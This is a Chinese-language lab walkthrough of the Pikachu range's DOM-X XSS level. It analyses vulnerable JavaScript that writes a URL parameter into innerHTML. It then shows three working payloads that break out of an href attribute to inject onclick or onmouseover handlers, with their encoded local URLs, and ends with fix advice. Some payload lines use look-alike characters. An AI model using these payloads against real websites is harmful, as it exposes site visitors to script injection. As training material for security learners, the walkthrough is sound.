目錄
一、XSS
二、DOM型XSS
三、源碼分析
1、打開DOM-X型XSS關卡
2、XSS探測
3、源碼分析
四、滲透實戰
1、Payload1
2、Payload2
3、Payload3
五、DOM型XSS與DOM-X型XSS區別
本系列為通過《pikachu靶場通關筆記》的XSS攻擊關卡(共10關)滲透集合,通過對XSS關卡源碼的代碼審計找到真實原因,講解XSS原理并進行滲透實踐,本文為XSS關卡05-DOM-X型XSS的滲透部分,并對比04關DOM型XSS,從源碼分析和原理對比兩者的區別。
一、XSS
XSS 全稱為跨站腳本攻擊(Cross - Site Scripting),因其高危害性長期位列OWASP Top 10安全威脅。攻擊者通過注入惡意腳本(通常為JavaScript)到網頁中,腳本在其瀏覽器執行。XSS主要分為3種類別,具體如下表所示。
分類 | 存儲型XSS (Stored XSS) | 反射型XSS (Reflected XSS) | DOM型XSS (DOM-based XSS) |
---|---|---|---|
存儲位置 | 服務器(數據庫/文件) | URL參數(不存儲) | 前端DOM(不經過服務器) |
觸發方式 | 用戶訪問被污染的頁面自動執行 | 用戶點擊惡意鏈接后臨時反射執行 | 前端JS操作DOM時動態觸發 |
持久性 | 長期存在 | 一次性(需誘導點擊) | 依賴用戶當前頁面操作 |
檢測難度 | 中(需掃描存儲內容) | 中(需構造惡意URL) | 高(需人工審計前端代碼) |
典型場景 | 論壇評論、用戶資料頁 | 搜索框、錯誤頁面 | SPA應用、動態路由 |
服務端參與 | 是(存儲+返回惡意代碼) | 是(反射惡意代碼) | 否(純前端) |
防御重點 | 輸入過濾+輸出編碼 | URL參數消毒+CSP策略 | 安全的DOM操作+前端驗證 |
修復成本 | 高(需清理數據庫) | 中(修改參數處理邏輯) | 中(重構前端代碼) |
二、DOM型XSS
DOM型XSS(DOM-based XSS)是一種純客戶端的跨站腳本攻擊,惡意腳本通過前端JavaScript動態操作DOM觸發,不經過服務器處理。攻擊者利用URL片段(如#<script>alert(1)</script>)或輸入字段注入惡意代碼,當頁面使用innerHTML、eval()或location.hash等危險API解析內容時執行。常見于單頁應用(SPA)和動態網頁,傳統WAF難以檢測。與存儲型/反射型XSS不同,DOM型完全在瀏覽器端完成攻擊鏈,是現代化Web應用的高危風險。
分類 | DOM型XSS |
---|---|
別名 | Type-0 XSS、純客戶端XSS |
攻擊入口 | URL片段(# 后)、location.search 、前端輸入字段(如document.getElementById().value ) |
觸發條件 | 前端使用危險API動態操作DOM(如innerHTML 、document.write 、eval() ) |
數據流 | 不經過服務器,直接在瀏覽器端解析執行 |
攻擊特點 | 繞過服務端檢測(WAF無效),依賴前端代碼邏輯風險 |
防御措施 | 1. 避免innerHTML (用textContent 或createElement )2. 輸入消毒(DOMPurify庫) 3. CSP策略(禁止內聯腳本) |
檢測難點 | 需人工審計前端代碼,自動化工具易漏檢 |
三、源碼分析
1、打開DOM-X型XSS關卡
進入pikachu靶場XSS系列的05關卡 DOM-X型XSS頁面,讓說出你的傷心往事,具體打如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php
2、XSS探測
輸入關鍵字判斷是否有過濾,關鍵字包括:單引號、雙引號、左右尖括號、問號、&、字符串與數字,接下來我們在搜索框輸入'"<>?&ljn20241019進行探測,如下所示。
???????'"<>?&ljn20241019
點擊如上鏈接進入下圖界面,發現此時輸出的內容與上一步的輸入有區別,?如下所示。
3、源碼分析
查看DOM-X型XSS關卡源碼xss_dom.php文件內容,右鍵源碼,CTRL+F搜素關鍵詞上圖中出現的關鍵字“風”,發現一個js函數,利用了DOM將字符串進行了拼接并把值給a標簽的href,然后輸出,具體如下所示。
這段代碼存在DOM-X型 XSS 安全風險,具體的源碼經過詳細注釋后如下所示。
<div class="page-content"><div id="xssd_main"><script>function domxss(){var str = window.location.search;// 從URL獲取參數var txss = decodeURIComponent(str.split("text=")[1]);// 解碼URL編碼并提取text參數值(危險操作!)var xss = txss.replace(/\+/g,' ');// 將+號替換為空格(不影響XSS攻擊)// 直接將用戶輸入拼接到HTML中(核心注入點)document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";}// 攻擊者可以嘗試以下Payload:// 1. '><img src="#" onmouseover="alert('xss')">// 2. ' onclick="alert('xss')"></script><!-- 表單提交text參數到當前URL --><form method="get"><input id="text" name="text" type="text" value="" /><input id="submit" type="submit" value="請說出你的傷心往事"/></form><!-- 惡意代碼將注入到這個DOM節點 --><div id="dom"></div></div>
</div>
分析可知本關卡JS代碼定義了一個domxss函數,它利用 window.location.search 獲取瀏覽器中URL的內容,然后賦值給str,然后經過URL解碼和字符串分隔,取出URL中的參數內容。再把 “+” 替換為 “ ”(空格),賦值給 xss,最后把 xss拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中。函數的執行流程如下所示。
步驟 | 代碼 | 作用 | 風險 |
---|---|---|---|
1 | window.location.search | 獲取URL中? 后的查詢字符串(如?text=payload ) | 直接暴露用戶可控輸入 |
2 | str.split("text=")[1] | 提取text 參數的值(未檢查參數是否存在) | 若text 不存在會導致undefined 錯誤 |
3 | decodeURIComponent() | 解碼URL編碼字符(如%3C 恢復為< ) | 還原可能含有的惡意代碼 |
4 | replace(/\+/g, ' ') | 將+ 號替換為空格(URL中空格可能被編碼為+ ) | 不影響XSS攻擊 |
5 | innerHTML = "<a href='"+xss+"'> | 動態生成<a> 標簽,用戶輸入直接拼接到href 屬性 | 未轉義字符導致DOM-XSS風險 |
本關卡的根源在于不可信數據未經驗證直接插入DOM,關鍵代碼如下所示。
function domxss() {// 獲取當前URL的查詢參數(如 ?text=惡意代碼)var str = window.location.search;// 提取text參數值并解碼URL編碼var txss = decodeURIComponent(str.split("text=")[1]);// 將+號替換為空格(處理URL中空格被編碼為+的情況)var xss = txss.replace(/\+/g, ' ');// 將用戶輸入拼接到<a>標簽的href屬性中,并插入DOMdocument.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
}
四、滲透實戰
滲透的方法是通過<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>構成閉合,對比DOM型XSS關卡的閉合參數如下所示。
DOM-X型:<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>
DOM型: <a href='"+str+"'>what do you see?</a>
1、Payload1
payload1: #' οnclick=alert("ljn")>
#' onclick=alert("ljn")>
閉合后:<a href='#' οnclick="alert("ljn")">'>就讓往事都隨風,都隨風吧</a>
點擊請說出你的傷心事后,下方生成鏈接,URL地址如下所示。
?http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3Dalert%28%22ljn%22%29%3E#
經過URL decode后的完整URL鏈接如下所示。
?http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=#'+onclick=alert("ljn")>#
點擊鏈接后,彈框ljn,接下來進行如下分析:右鍵元素-點擊查看器-Ctrl+F搜索關鍵字“風”,如下所示。
2、Payload2
payload3: ' οnclick="alert('ljn')">
' onclick="alert('ljn')">
?閉合后:<a href οnclick="alert('ljn')"> >'就讓往事都隨風,都隨風吧</a>?
如上所示,點擊請說出你的傷心事后,下方生成鏈接,URL地址如下所示。?
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27ljn%27%29%22%3E
經過URL decode后的完整URL鏈接如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert('ljn')">
點擊鏈接,彈出“ljn”,XSS攻擊成功,如下所示。?
3、Payload3
payload3: '><img src="#" οnmοuseοver="alert('ljn')">
'><img src="#" onmouseover="alert('ljn')">
閉合后:<a href><img src="#" οnmοuseοver="alert('ljn')">'>就讓往事都隨風,都隨風吧</a>
再次點擊“有些費盡心機想要忘記的事情,后來真的就忘掉了”的URL鏈接。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27%3E%3Cimg+src%3D%22%23%22+onmouseover%3D%22alert%28%27ljn%27%29%22%3E
?經過URL decode后的完整URL鏈接如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='><img+src="#"+onmouseover="alert('ljn')">
點擊鏈接后生成如下界面,注意紅框處是一個圖表,鼠標放到下圖紅框處就可以彈框。
鼠標放到上圖紅框部分,即可彈框“ljn”,說明滲透成功,具體如下所示。
五、DOM型XSS與DOM-X型XSS區別
第四關DOM型XSS關鍵代碼如下所示,參數從表單獲取。
var str = document.getElementById("text").value; // 從頁面表單獲取用戶輸入
// 將用戶輸入拼接到<a>標簽的href屬性中,并插入DOM
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
?第五關DOM-X型XSS關鍵代碼如下所示,參數從URL種獲取。
var str = window.location.search;// 獲取當前URL的查詢參數(如 ?text=惡意代碼)
var txss = decodeURIComponent(str.split("text=")[1]); // 提取text參數值并解碼URL編碼
var xss = txss.replace(/\+/g, ' ');// 將+號替換為空格(比如處理URL中空格被編碼為+的情況)// 將用戶輸入拼接到<a>標簽的href屬性中,并插入DOM
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧
分析可知相比DOM型的XSS,DOM-X型XSS危害更大,因為它能夠像反射型一樣在URL中體現,將URL發給了受害者就能進行攻擊,兩者詳細區別如下所示。
對比維度 | dom-x xss關卡 ?函數(第五關) | dom xss ?函數(第四關) |
---|---|---|
輸入來源 | 從window.location.search獲取URL參數(如?text=腳本 ) | 從document.getElementById("text").value獲取表單輸入值 |
觸發方式 | 頁面加載時自動執行 (需直接訪問含惡意參數的URL) | 需要用戶手動輸入內容并點擊按鈕觸發 |
攻擊復雜度 | 低(攻擊者只需構造惡意URL) | 中(需要誘導用戶在輸入框輸入惡意內容并點擊) |
利用場景 | 通過釣魚鏈接傳播 | 需要用戶主動在頁面交互 |
參數處理 | 自動解碼URL編碼(decodeURIComponent) | 直接使用原始輸入(未解碼URL編碼) |
代碼相似點 | 均使用innerHTML 直接拼接未過濾的用戶輸入到DOM | 均使用innerHTML 直接拼接未過濾的用戶輸入到DOM |
典型攻擊Payload | ?text='><img src=x onerror=alert(1)> | 輸入框輸入:'><img src=x onerror=alert(1)> |
防御難度 | 更難防御(URL參數可能被各種工具自動編碼/解碼) | 較易防御(可通過前端輸入檢查攔截) |
修復建議 | 1. 使用textContent 替代innerHTML 2. 嚴格校驗URL參數 | 1. 使用textContent 2. 表單輸入時實時過濾特殊字符 |